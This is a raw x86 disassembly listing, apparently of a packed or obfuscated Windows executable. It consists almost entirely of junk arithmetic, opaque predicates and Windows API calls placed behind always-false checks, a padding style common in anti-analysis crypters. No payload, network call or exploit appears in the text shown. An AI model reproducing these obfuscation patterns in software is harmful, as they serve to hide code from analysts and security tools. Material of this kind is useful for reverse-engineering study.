mov eax, dword [ebp + eax*4 - 0x28ec]
cmp eax, dword [ebp - 0xebc]
jg 0x479fb0
mov dword [ebp - 0x1e34], 1
jmp 0x479fb7
and dword [ebp - 0x1e34], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e34]
mov dword [ebp + eax - 0x2748], ecx
jmp 0x479e1d
jmp 0x479dc3
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x306c], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x2904]
mov dword [ebp + ecx - 0x2904], eax
push 0x555
push 0x1648
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
mov dword [ebp - 0x9c], 0x79763266
mov dword [ebp - 0x378], 0x91e66c61
mov dword [ebp - 0x2834], 0xfffffffc
mov dword [ebp - 0x6bc], 0
jmp 0x47a040
mov eax, dword [ebp - 0x6bc]
inc eax
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 2
jge 0x47a05c
mov eax, dword [ebp - 0x6bc]
mov dword [ebp + eax*4 - 0x21fc], 1
jmp 0x47a033
mov dword [ebp - 0x9c], 1
jmp 0x47a075
mov eax, dword [ebp - 0x9c]
dec eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jl 0x47a5cb
mov dword [ebp - 0x298], 5
mov dword [ebp - 0x6c4], 3
cmp dword [ebp - 0x9c], 0x9ebe1b0f
jge 0x47a0ae
mov dword [ebp - 0xabc], 1
jmp 0x47a0b5
and dword [ebp - 0xabc], 0
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xabc]
mov dword [ebp + eax*4 - 0x21fc], ecx
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 0x378]
imul eax, dword [ebp - 0x9c]
sub eax, dword [ebp - 0x298]
je 0x47a145
cmp dword [ebp - 0x298], 0xcc1dab97
jbe 0x47a101
mov dword [ebp - 0xec4], 1
jmp 0x47a108
and dword [ebp - 0xec4], 0
mov eax, dword [ebp - 0x378]
cmp dword [ebp - 0xec4], eax
jg 0x47a122
mov dword [ebp - 0x2750], 1
jmp 0x47a129
and dword [ebp - 0x2750], 0
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp + eax*4 - 0x21fc]
mov dword [ebp - 0x3074], eax
cmp dword [ebp - 0x298], 0
jne 0x47a157
cmp dword [ebp - 0x298], 0
jne 0x47a157
and dword [ebp - 0x1e3c], 0
jmp 0x47a161
mov dword [ebp - 0x1e3c], 1
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x1e3c], eax
jl 0x47a17b
mov dword [ebp - 0xecc], 1
jmp 0x47a182
and dword [ebp - 0xecc], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0xecc], eax
jge 0x47a19c
mov dword [ebp - 0x1e44], 1
jmp 0x47a1a3
and dword [ebp - 0x1e44], 0
mov eax, dword [ebp - 0x298]
cmp dword [ebp - 0x1e44], eax
jg 0x47a583
mov dword [ebp - 0x550], 0xffffffff
mov dword [ebp - 0xf14], 0xbe495ee3
mov dword [ebp - 0x378], 1
jmp 0x47a1e2
cmp dword [ebp - 0x378], 0
jl 0x47a581
mov dword [ebp - 0x380], 0
cmp dword [ebp - 0x380], 1
jle 0x47a20e
mov dword [ebp - 0x2758], 1
jmp 0x47a215
and dword [ebp - 0x2758], 0
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x307c], eax
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x3084], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21fc]
cmp dword [ebp - 0x9c], eax
jle 0x47a24e
mov dword [ebp - 0xed4], 1
jmp 0x47a255
and dword [ebp - 0xed4], 0
mov eax, dword [ebp - 0x550]
cmp dword [ebp - 0xed4], eax
jge 0x47a26f
mov dword [ebp - 0x1e4c], 1
jmp 0x47a276
and dword [ebp - 0x1e4c], 0
mov eax, dword [ebp - 0x550]
cmp eax, dword [ebp - 0x1e4c]
jl 0x47a290
mov dword [ebp - 0xedc], 1
jmp 0x47a297
and dword [ebp - 0xedc], 0
mov eax, dword [ebp - 0x550]
cmp dword [ebp - 0xedc], eax
jl 0x47a2b1
mov dword [ebp - 0x1e54], 1
jmp 0x47a2b8
and dword [ebp - 0x1e54], 0
cmp dword [ebp - 0x1e54], 0x4e401d93
je 0x47a2f4
mov dword [ebp - 0x308c], 6
mov dword [ebp - 0x3094], 0x442f2aa7
mov dword [ebp - 0xee4], 0xa1f1
mov eax, dword [ebp - 0xee4]
dec eax
mov dword [ebp - 0xee4], eax
jmp 0x47a57c
mov dword [ebp - 0xefc], 0xffffffff
mov dword [ebp - 0xeec], 0xfffffffe
mov dword [ebp - 0x8b4], 0
jmp 0x47a321
jmp 0x47a598
mov dword [ebp - 0x283c], 0x6e4c1c17
cmp dword [ebp - 0x283c], 0
je 0x47a598
jmp 0x47a5cb
mov byte [ebp - 0x2e3], 0
movzx eax, byte [ebp - 0x2e3]
test eax, eax
je 0x47a5c6
push 0
push 0xee8
push 0x24ae
push 0x1e59
push 0x1398
call dword [sym.imp.GDI32.dll_CreateBitmap]
jmp 0x47a068
mov dword [ebp - 0x8bc], 2
jmp 0x47a5e4
cmp dword [ebp - 0x8bc], 0
jl 0x47c891
mov dword [ebp - 0x8c4], 1
mov dword [ebp - 0x6cc], 0
jmp 0x47a614
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 2
jge 0x47a630
mov eax, dword [ebp - 0x6cc]
mov dword [ebp + eax*4 - 0x35c0], 0
jmp 0x47a607
mov dword [ebp - 0x8c4], 0xfffffff6
jmp 0x47a649
mov eax, dword [ebp - 0x8c4]
inc eax
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 0x1a
jg 0x47a696
mov dword [ebp - 0x6d4], 0xeede0b40
mov dword [ebp - 0x6d4], 0
jmp 0x47a675
mov eax, dword [ebp - 0x6d4]
dec eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 0xfffffffa
je 0x47a694
mov dword [ebp - 0x2844], 0x7fbf2121
mov dword [ebp - 0x2844], 0x3c891c55
jmp 0x47a668
jmp 0x47a63c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2914]
cmp dword [ebp + eax*4 - 0x3174], 0
je 0x47bae6
mov dword [ebp - 8], 0x95ae
mov dword [ebp - 0x8d4], 4
mov dword [ebp - 0x4b8], 0xfffffffb
mov dword [ebp - 0xc18], 0
mov dword [ebp - 0x388], 7
mov dword [ebp - 0x8cc], 1
mov dword [ebp - 0xbac], 5
mov dword [ebp - 0x2864], 0xddc4ea3c
mov dword [ebp - 0xacc], 0xfffffff8
mov eax, dword [ebp - 8]
mov dword [ebp - 0x30ac], eax
mov dword [ebp - 0x4b8], 0x101eb64d
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x30b4], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x30bc], eax
cmp dword [ebp - 8], 0
jae 0x47a742
mov dword [ebp - 0xf24], 1
jmp 0x47a749
and dword [ebp - 0xf24], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x8d4], eax
mov eax, dword [ebp - 0xf24]
sub eax, dword [ebp - 8]
cmp dword [ebp - 0x8d4], eax
jg 0x47a76f
mov dword [ebp - 0x1e9c], 1
jmp 0x47a776
and dword [ebp - 0x1e9c], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1e9c], eax
jle 0x47a78d
mov dword [ebp - 0xf2c], 1
jmp 0x47a794
and dword [ebp - 0xf2c], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xf2c], eax
jge 0x47a7ab
mov dword [ebp - 0x1ea4], 1
jmp 0x47a7b2
and dword [ebp - 0x1ea4], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1ea4], eax
jle 0x47a7d0
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x47a7d0
mov dword [ebp - 0xf34], 1
jmp 0x47a7d7
and dword [ebp - 0xf34], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xf34], eax
jne 0x47a7ee
mov dword [ebp - 0x1eac], 1
jmp 0x47a7f5
and dword [ebp - 0x1eac], 0
mov eax, dword [ebp - 0x1eac]
mov dword [ebp - 0xc18], eax
cmp dword [ebp - 0xc18], 0
jne 0x47a81c
cmp dword [ebp - 0x4b8], 0
jne 0x47a81c
mov dword [ebp - 0xf3c], 1
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xf3c], eax
jg 0x47a83d
mov dword [ebp - 0x114], 0xfffffff6
mov dword [ebp - 0xaec], 0xae9a07b3
mov dword [ebp - 0xbbc], 0
mov dword [ebp - 0x1fdc], 0
mov dword [ebp - 0x2838], 1
mov dword [ebp - 0x21c], 0
jmp 0x47bb31
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 3
jge 0x47bb4d
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0x34e4], 0xffffffff
jmp 0x47bb24
mov dword [ebp - 0x21c], 0
jmp 0x47bb66
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 4
jge 0x47bb82
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0x3600], 0xfffffffc
jmp 0x47bb59
mov eax, 0xd2d672a8
test eax, eax
je 0x47bcf7
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x114], eax
jg 0x47bba9
mov dword [ebp - 0x1fbc], 1
jmp 0x47bbb0
and dword [ebp - 0x1fbc], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x1fbc], eax
jge 0x47bbca
mov dword [ebp - 0x104c], 1
jmp 0x47bbd1
and dword [ebp - 0x104c], 0
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x104c]
cmp dword [ebp - 0x114], eax
jne 0x47bbf1
and dword [ebp - 0x106c], 0
mov eax, dword [ebp - 0xbbc]
imul eax, dword [ebp - 0x106c]
cmp eax, dword [ebp - 0xbbc]
jl 0x47bd1f
mov dword [ebp - 0x1fe4], 1
jmp 0x47bd26
and dword [ebp - 0x1fe4], 0
cmp dword [ebp - 0x1fe4], 0x432a2768
jne 0x47bd3e
mov dword [ebp - 0x1074], 1
jmp 0x47bd45
and dword [ebp - 0x1074], 0
mov eax, dword [ebp - 0x1074]
sub eax, dword [ebp - 0x2838]
mov dword [ebp - 0x1fec], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1fec]
mov dword [ebp + eax - 0x34e4], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1fec]
mov dword [ebp + eax - 0x3600], ecx
mov dword [ebp - 0x4c0], 7
mov dword [ebp - 0x1084], 3
mov dword [ebp - 0x22dc], 0xe13a6c9c
mov dword [ebp - 0x3134], 0xffffffff
mov dword [ebp - 0x313c], 0xffffffff
mov dword [ebp - 0x3144], 0x16501874
mov dword [ebp - 0x3250], 0xfffffff7
mov dword [ebp - 0x1094], 0xfff8
mov dword [ebp - 0x6fc], 0
jmp 0x47bde6
jmp 0x478d51
mov dword [ebp - 0x528], 0xba76aabe
mov dword [ebp - 0x90c], 0
jmp 0x47c8b9
mov eax, dword [ebp - 0x90c]
inc eax
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 4
jge 0x47c8d5
mov eax, dword [ebp - 0x90c]
mov dword [ebp + eax*4 - 0x343c], 0xffff
jmp 0x47c8ac
mov dword [ebp - 0x528], 0
jmp 0x47c8ee
mov eax, dword [ebp - 0x528]
inc eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 3
jg 0x47ca67
mov dword [ebp - 0x2304], 0x251c6076
mov dword [ebp - 0x71c], 0
jmp 0x47c91e
mov eax, dword [ebp - 0x71c]
inc eax
mov dword [ebp - 0x71c], eax
cmp dword [ebp - 0x71c], 1
jge 0x47c93a
mov eax, dword [ebp - 0x71c]
mov dword [ebp + eax*4 - 0x4d0], 0xae8c9f36
jmp 0x47c911
mov byte [ebp - 0x2ed], 0
movzx eax, byte [ebp - 0x2ed]
test eax, eax
je 0x47c96a
push 0x22cb
push 0x45c
push 0x1bb2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x4d0], 3
jmp 0x47c998
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4d0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x4d0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4d0], 0
jl 0x47ca62
cmp dword [ebp - 0x528], 0
jne 0x47c9e6
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0x32a0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x343c]
mov dword [ebp - 0x32a8], eax
mov eax, 0xbc56
test eax, eax
jne 0x47c9e6
and dword [ebp - 0x10f4], 0
jmp 0x47c9f0
mov dword [ebp - 0x10f4], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4d0]
mov eax, dword [ebp + eax*4 - 0x343c]
sub eax, 9
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x4d0]
imul ecx, dword [ebp - 0x10f4]
sub eax, ecx
cmp eax, 9
jge 0x47ca2e
mov dword [ebp - 0x206c], 1
jmp 0x47ca35
and dword [ebp - 0x206c], 0
mov eax, dword [ebp - 0x206c]
mov dword [ebp - 0x2304], eax
mov byte [ebp - 0x349], 0
movzx eax, byte [ebp - 0x349]
test eax, eax
je 0x47ca5d
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x47c97d
jmp 0x47c8e1
cmp dword [ebp + 8], 2
jl 0x48cccc
mov dword [ebp - 0xe4], 0xfffffffd
mov dword [ebp - 0x2084], 1
mov dword [ebp - 0xb04], 0xffffffff
mov dword [ebp - 0xbc4], 5
mov dword [ebp - 0x1124], 0xec7e318b
mov dword [ebp - 0x2094], 1
mov dword [ebp - 0x14c], 0
jmp 0x47cac6
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 2
jge 0x47cae2
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0x26d4], 0x6b79df94
jmp 0x47cab9
mov dword [ebp - 0x14c], 0
jmp 0x47cafb
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 2
jge 0x47cb17
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0x2e94], 0xffffffff
jmp 0x47caee
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x10fc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x10fc]
mov dword [ebp + eax - 0x26d4], ecx
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x10fc], eax
jge 0x47cb50
mov dword [ebp - 0x2074], 1
jmp 0x47cb57
and dword [ebp - 0x2074], 0
mov eax, dword [ebp - 0x2074]
mov dword [ebp - 0xb04], eax
cmp dword [ebp - 0xb04], 7
je 0x47cb78
mov dword [ebp - 0x1104], 1
jmp 0x47cb7f
and dword [ebp - 0x1104], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x1104], eax
jne 0x47cb99
mov dword [ebp - 0x207c], 1
jmp 0x47cba0
and dword [ebp - 0x207c], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x207c], eax
je 0x47cbba
mov dword [ebp - 0x110c], 1
jmp 0x47cbc1
and dword [ebp - 0x110c], 0
cmp dword [ebp - 0x110c], 0x90660d64
jae 0x47cbd9
mov dword [ebp - 0x26e4], 1
jmp 0x47cbe0
and dword [ebp - 0x26e4], 0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x2084], eax
mov eax, dword [ebp - 0x2084]
mov dword [ebp - 0x32b0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26d4]
mov dword [ebp - 0xbc4], eax
mov eax, dword [ebp - 0xbc4]
mov dword [ebp - 0x1114], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1114]
mov dword [ebp + eax - 0x2e94], ecx
cmp dword [ebp - 0x1114], 0x7f6fb807
jge 0x47cc48
cmp dword [ebp - 0xbc4], 0
jne 0x47cc48
and dword [ebp - 0x230c], 0
jmp 0x47cc52
mov dword [ebp - 0x230c], 1
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x32b8], eax
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x1124], eax
jg 0x47cc78
mov dword [ebp - 0x208c], 1
jmp 0x47cc7f
and dword [ebp - 0x208c], 0
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0x208c]
jl 0x47cc99
mov dword [ebp - 0x111c], 1
jmp 0x47cca0
and dword [ebp - 0x111c], 0
mov eax, dword [ebp - 0x111c]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x2094]
cmp dword [ebp - 0xe4], eax
jge 0x47ccc8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x26d4], 0
mov eax, dword [ebp - 0xb04]
mov dword [ebp - 0x32c0], eax
mov eax, dword [ebp - 0x2094]
mov dword [ebp - 0x32c8], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x1124], eax
mov dword [ebp - 0x724], 8
mov dword [ebp - 0x914], 0
jmp 0x47cd0f
mov eax, dword [ebp - 0x914]
inc eax
mov dword [ebp - 0x914], eax
cmp dword [ebp - 0x914], 3
jge 0x47cd2b
mov eax, dword [ebp - 0x914]
mov dword [ebp + eax*4 - 0x36b0], 0x7571177e
jmp 0x47cd02
mov dword [ebp - 0x724], 2
jmp 0x47cd44
mov eax, dword [ebp - 0x724]
dec eax
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 0
jl 0x47cdbe
mov dword [ebp - 0x91c], 0
jmp 0x47cd66
mov eax, dword [ebp - 0x91c]
inc eax
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x91c], 2
jge 0x47cd82
mov eax, dword [ebp - 0x91c]
mov dword [ebp + eax*4 - 0x2a74], 1
jmp 0x47cd59
mov byte [ebp - 0x2ef], 0
movzx eax, byte [ebp - 0x2ef]
test eax, eax
je 0x47cd9f
push 0x2669
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x2a74]
mov dword [ebp + ecx - 0x2a74], eax
jmp 0x47cd37
mov dword [ebp - 0x72c], 0xe1757117
mov dword [ebp - 0x293c], 0xfffffffa
mov dword [ebp - 0x2938], 0xfffffffa
mov dword [ebp - 0x2934], 0xfffffffa
mov dword [ebp - 0x2930], 0xfffffffa
mov dword [ebp - 0x2314], 0
mov dword [ebp - 0x72c], 0x14
jmp 0x47ce13
mov eax, dword [ebp - 0x72c]
dec eax
mov dword [ebp - 0x72c], eax
cmp dword [ebp - 0x72c], 0xfffffff6
jle 0x47cf8c
mov dword [ebp - 0x188], 0xad4351cd
mov byte [ebp - 0x3d1], 0
movzx eax, byte [ebp - 0x3d1]
test eax, eax
je 0x47ce55
push 0x18c9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov dword [ebp - 0x188], 3
jmp 0x47ce6e
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jl 0x47cf87
mov dword [ebp - 0x5a0], 1
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x32d0], eax
cmp dword [ebp - 0x5a0], 0
jb 0x47cea6
mov dword [ebp - 0x2594], 1
jmp 0x47cead
and dword [ebp - 0x2594], 0
imul eax, dword [ebp - 0x5a0], 0x4952
test eax, eax
jne 0x47cecd
cmp dword [ebp - 0x5a0], 0
jne 0x47cecd
and dword [ebp - 0x209c], 0
jmp 0x47ced7
mov dword [ebp - 0x209c], 1
mov eax, dword [ebp - 0x188]
cmp dword [ebp - 0x209c], eax
jle 0x47cef1
mov dword [ebp - 0x112c], 1
jmp 0x47cef8
and dword [ebp - 0x112c], 0
mov eax, dword [ebp - 0x5a0]
add eax, dword [ebp - 0x112c]
je 0x47cf1b
mov eax, 0x94bb
test eax, eax
je 0x47cf1b
mov dword [ebp - 0x20a4], 1
jmp 0x47cf22
and dword [ebp - 0x20a4], 0
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp + eax*4 - 0x293c]
mov dword [ebp - 0x1134], eax
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x1134]
mov dword [ebp + eax*4 - 0x293c], ecx
mov eax, dword [ebp - 0x188]
imul eax, dword [ebp - 0x20a4]
cmp dword [ebp - 0x1134], eax
jne 0x47cf69
mov dword [ebp - 0x20ac], 1
jmp 0x47cf70
and dword [ebp - 0x20ac], 0
mov eax, dword [ebp - 0x20ac]
sub eax, dword [ebp - 0x188]
mov dword [ebp - 0x2314], eax
jmp 0x47ce61
jmp 0x47ce06
mov dword [ebp - 0x3c0], 8
mov dword [ebp - 0x30], 0xd080c170
mov dword [ebp - 0x558], 7
mov dword [ebp - 0x924], 0
jmp 0x47cfc0
mov eax, dword [ebp - 0x924]
inc eax
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 3
jge 0x47cfdc
mov eax, dword [ebp - 0x924]
mov dword [ebp + eax*4 - 0x2788], 0
jmp 0x47cfb3
mov byte [ebp - 0x2f1], 0
movzx eax, byte [ebp - 0x2f1]
test eax, eax
je 0x47d00e
push 0
push 0x178
push 0x261c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp dword [ebp - 0x30], 0x90350d8a
ja 0x47d023
mov dword [ebp - 0x113c], 1
jmp 0x47d02a
and dword [ebp - 0x113c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x113c], eax
jne 0x47d04a
mov eax, 0xd5fe
test eax, eax
je 0x47d04a
mov dword [ebp - 0x20b4], 1
jmp 0x47d051
and dword [ebp - 0x20b4], 0
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x20b4]
cmp eax, dword [ebp - 0x30]
jle 0x47d06b
mov dword [ebp - 0x1144], 1
jmp 0x47d072
and dword [ebp - 0x1144], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x1144], eax
jge 0x47d089
mov dword [ebp - 0x20bc], 1
jmp 0x47d090
and dword [ebp - 0x20bc], 0
cmp dword [ebp - 0x20bc], 0xd7fe
jle 0x47d0a8
mov dword [ebp - 0x114c], 1
jmp 0x47d0af
and dword [ebp - 0x114c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x114c], eax
jge 0x47d0c6
mov dword [ebp - 0x20c4], 1
jmp 0x47d0cd
and dword [ebp - 0x20c4], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x20c4], eax
jne 0x47d0e4
mov dword [ebp - 0x1154], 1
jmp 0x47d0eb
and dword [ebp - 0x1154], 0
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x1154]
cmp dword [ebp - 0x30], eax
jne 0x47d105
mov dword [ebp - 0x20cc], 1
jmp 0x47d10c
and dword [ebp - 0x20cc], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x20cc]
je 0x47d123
mov dword [ebp - 0x2858], 1
jmp 0x47d12a
and dword [ebp - 0x2858], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x32d8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2788]
mov dword [ebp - 0x32e0], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x32e8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2788]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2788]
lea eax, [eax + ecx - 7]
cmp eax, dword [ebp - 0x558]
jl 0x47d188
push 9
pop eax
test eax, eax
je 0x47d188
mov dword [ebp - 0x115c], 1
jmp 0x47d18f
and dword [ebp - 0x115c], 0
cmp dword [ebp - 0x115c], 0xfffffffd
jb 0x47d1a4
mov dword [ebp - 0x20d4], 1
jmp 0x47d1ab
and dword [ebp - 0x20d4], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x20d4]
je 0x47d1c2
mov dword [ebp - 0x1164], 1
jmp 0x47d1c9
and dword [ebp - 0x1164], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2788]
add eax, dword [ebp - 0x1164]
cmp eax, 0x1b14
je 0x47d22e
mov dword [ebp - 0x734], 0
jmp 0x47d1fc
mov eax, dword [ebp - 0x734]
inc eax
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 2
jge 0x47d218
mov eax, dword [ebp - 0x734]
mov dword [ebp + eax*4 - 0x2ea0], 0x796a450c
jmp 0x47d1ef
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2ea0], 1
jmp 0x47d43f
mov dword [ebp - 0x3b0], 6
mov dword [ebp - 0x2324], 6
mov byte [ebp - 0x34b], 0
movzx eax, byte [ebp - 0x34b]
test eax, eax
je 0x47d25a
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov dword [ebp - 0x558], 0
jmp 0x47d273
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0x30
je 0x47d43f
mov dword [ebp - 0xc54], 0
mov dword [ebp - 0x30], 0
jmp 0x47d29a
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffe9
jle 0x47d430
mov dword [ebp - 0x608], 0xfffffffd
cmp dword [ebp - 0xc54], 0xfff7
jne 0x47d2c6
mov dword [ebp - 0x1178], 1
jmp 0x47d2cd
and dword [ebp - 0x1178], 0
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x32f0], eax
mov eax, dword [ebp - 0x3b0]
neg eax
jne 0x47d2f0
xor eax, eax
jne 0x47d2f0
and dword [ebp - 0x20dc], 0
jmp 0x47d2fa
mov dword [ebp - 0x20dc], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2788]
cmp dword [ebp - 0x20dc], eax
jle 0x47d31b
mov dword [ebp - 0x20e4], 1
jmp 0x47d322
and dword [ebp - 0x20e4], 0
mov eax, dword [ebp - 0x3b0]
cmp dword [ebp - 0x20e4], eax
jne 0x47d33c
mov dword [ebp - 0x231c], 1
jmp 0x47d343
and dword [ebp - 0x231c], 0
mov eax, dword [ebp - 0xc54]
imul eax, dword [ebp - 0x608]
test eax, eax
jne 0x47d360
mov dword [ebp - 0x1170], 1
jmp 0x47d367
and dword [ebp - 0x1170], 0
mov eax, dword [ebp - 0x1170]
sub eax, dword [ebp - 0x608]
add eax, dword [ebp - 0x3b0]
cmp eax, 0xd6a6c343
jb 0x47d38c
mov dword [ebp - 0x19b4], 1
jmp 0x47d393
and dword [ebp - 0x19b4], 0
mov eax, dword [ebp - 0x3b0]
cmp dword [ebp - 0x19b4], eax
jle 0x47d3ad
mov dword [ebp - 0x259c], 1
jmp 0x47d3b4
and dword [ebp - 0x259c], 0
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x32f8], eax
mov eax, dword [ebp - 0x608]
cmp dword [ebp - 0x558], eax
jl 0x47d3da
mov dword [ebp - 0x19b0], 1
jmp 0x47d3e1
and dword [ebp - 0x19b0], 0
mov eax, dword [ebp - 0x1178]
cmp eax, dword [ebp - 0x19b0]
jne 0x47d3fb
mov dword [ebp - 0x1180], 1
jmp 0x47d402
and dword [ebp - 0x1180], 0
imul eax, dword [ebp - 0x1180], 0x62da
mov ecx, dword [ebp - 0x3b0]
lea eax, [eax + ecx - 0xfff6]
mov dword [ebp - 0x608], eax
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x2324], eax
jmp 0x47d293
mov dword [ebp - 0xc54], 0x77236c34
jmp 0x47d266
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0x73c], 0
mov dword [ebp - 0x92c], 0
jmp 0x47d46c
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 2
jge 0x47d488
mov eax, dword [ebp - 0x92c]
mov dword [ebp + eax*4 - 0x3578], 0xdf99ff60
jmp 0x47d45f
mov dword [ebp - 0x73c], 1
jmp 0x47d4a1
mov eax, dword [ebp - 0x73c]
dec eax
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 0
jl 0x47d529
mov byte [ebp - 0x2f3], 0
movzx eax, byte [ebp - 0x2f3]
test eax, eax
je 0x47d50a
push 0x2332
push 0x8f2
push 0x1dd0
push 0
push 0x19e0
push 0x513
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x2335
push 0x45c
push 0x128f
push 0x5b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
